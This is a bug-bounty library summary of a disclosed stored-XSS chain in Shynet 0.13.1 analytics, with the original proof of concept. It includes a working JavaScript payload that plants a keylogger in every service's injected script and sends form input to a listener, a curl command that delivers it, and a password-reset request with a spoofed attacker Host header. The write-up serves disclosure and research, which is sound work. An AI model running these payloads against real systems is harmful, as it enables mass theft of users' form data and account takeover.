# Shynet | VERSION 0.13.1

Unauthenticated stored XSS in Shynet's tracking ingress location/referrer fields let attackers inject JS into admin dashboards and all tracking scripts.

- Payout: Research
- Severity: critical
- Program: Shynet
- Disclosed: 2026-06-18
- CVE: CVE-2026-35508, CVE-2026-35507
- Write-up quality: 8/10
- Original: https://bishopfox.com/blog/shynet-version-0-13-1
- Library page: https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-shynet-version-0-13-1
- Tags: area:web domain:web impact:ato impact:integrity impact:mass-exploit kind:research platform:research sev:critical tech:python technique:chained vuln:xss

**Target:** Analytics tracking ingress endpoint /ingress/<UUID>/script.js and admin dashboard
**Root cause:** Location and referrer fields from unauthenticated tracking POSTs were stored verbatim and rendered unescaped in the admin dashboard and locations page.
**Steps:**
1. Send `POST /ingress/<SERVICE_UUID>/script.js` with JSON body containing XSS payload in `location` or `referrer` field, e.g. `{"idempotency":"keylogger_chain_001","location":"http://x' onfocus='fetch(...)...' autofocus=' tabindex='1","referrer":"http://tracked.com/refer.html","loadTime":150}`
2. Payload executes when admin visits `/dashboard/services/<SERVICE_UUID>/` or `/dashboard/services/<SERVICE_UUID>/locations/`
3. Stage-2 payload enumerates service UUIDs from `/dashboard/`, then POSTs injected JS into each service's `script_inject` field via `/dashboard/service/<UUID>/manage/`
4. Injected keylogger exfiltrates form input from all tracked pages to attacker listener
**How found:** Noticed the tracking ingress accepted unauthenticated JSON and that location/referrer were rendered in the admin dashboard; tested whether those fields were escaped.
**Exploitation:** Attacker posts malicious location/referrer to the public tracking endpoint; when an admin views the dashboard, the stored XSS fires in their session, enumerates all service UUIDs, and rewrites each service's Additional injected JS to a keylogger that exfiltrates form data from every tracked site to an attacker server.
**Escalation:** Session-riding from single stored XSS to mass compromise of all analytics tracking scripts across every service in the instance.
**Insight:** Analytics/tracking ingestion endpoints that accept unauthenticated data and surface it in admin dashboards are prime stored-XSS targets; check every field rendered on dashboard list/detail pages, not just the obvious ones.

## Proof of concept (copied exactly from the original report)

**XSS payload JSON posted to tracking ingress**

```
{ 

 "idempotency": "keylogger_chain_001", 

 "location": "http://x' onfocus='fetch(`/dashboard/`).then(r=>r.text()).then(h=>{var d=new DOMParser().parseFromString(h,`text/html`);[...d.querySelectorAll(`a[href*=service]`)].filter(a=>a.href.match(/\\/service\\/[0-9a-f-]{36}\\/$/)).map(a=>a.href.match(/([0-9a-f-]{36})/)[1]).forEach(u=>{fetch(`/dashboard/service/`+u+`/manage/`).then(r=>r.text()).then(h2=>{var d2=new DOMParser().parseFromString(h2,`text/html`),f=new FormData(d2.querySelector(`form`));f.set(`script_inject`,`document.addEventListener(\"change\",function(e){var t=e.target;if(t.name&&t.value){new Image().src=\"http://127.0.0.1:9999/log?field=\"+t.name+\"&value=\"+encodeURIComponent(t.value)+\"&url=\"+encodeURIComponent(location.href)}})`);fetch(`/dashboard/service/`+u+`/manage/`,{method:`POST`,body:f,credentials:`same-origin`})})})})' autofocus=' tabindex='1", 

 "referrer": "http://tracked.com/refer.html", 

 "loadTime": 150 

}
```

**curl sending malicious tracking request**

```
curl -X POST "http://example.com/ingress/b0bd732a-0a76-4904-8b84-13d31f1786c1/script.js" -H "Content-Type: application/json" -d @payload.json
```

**Password reset POST with spoofed Host header**

```
POST /accounts/password/reset/ HTTP/1.1 
Referer: http://cstover-attacker.com/accounts/password/reset/ 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 
Content-Type: application/x-www-form-urlencoded 
Host: cstover-attacker.com 
Cookie: csrftoken=SMQQyDuSEUctsqVCQiny82ngvoY52FAm 
Content-Length: 109 
Connection: keep-alive 

csrfmiddlewaretoken=jXcdLzSDYa4j6OxJUodd2Shidv0m0JS51zST92clsU6Co4ibAwqB0KuoyJOhSeih&email=admin@shynet.local
```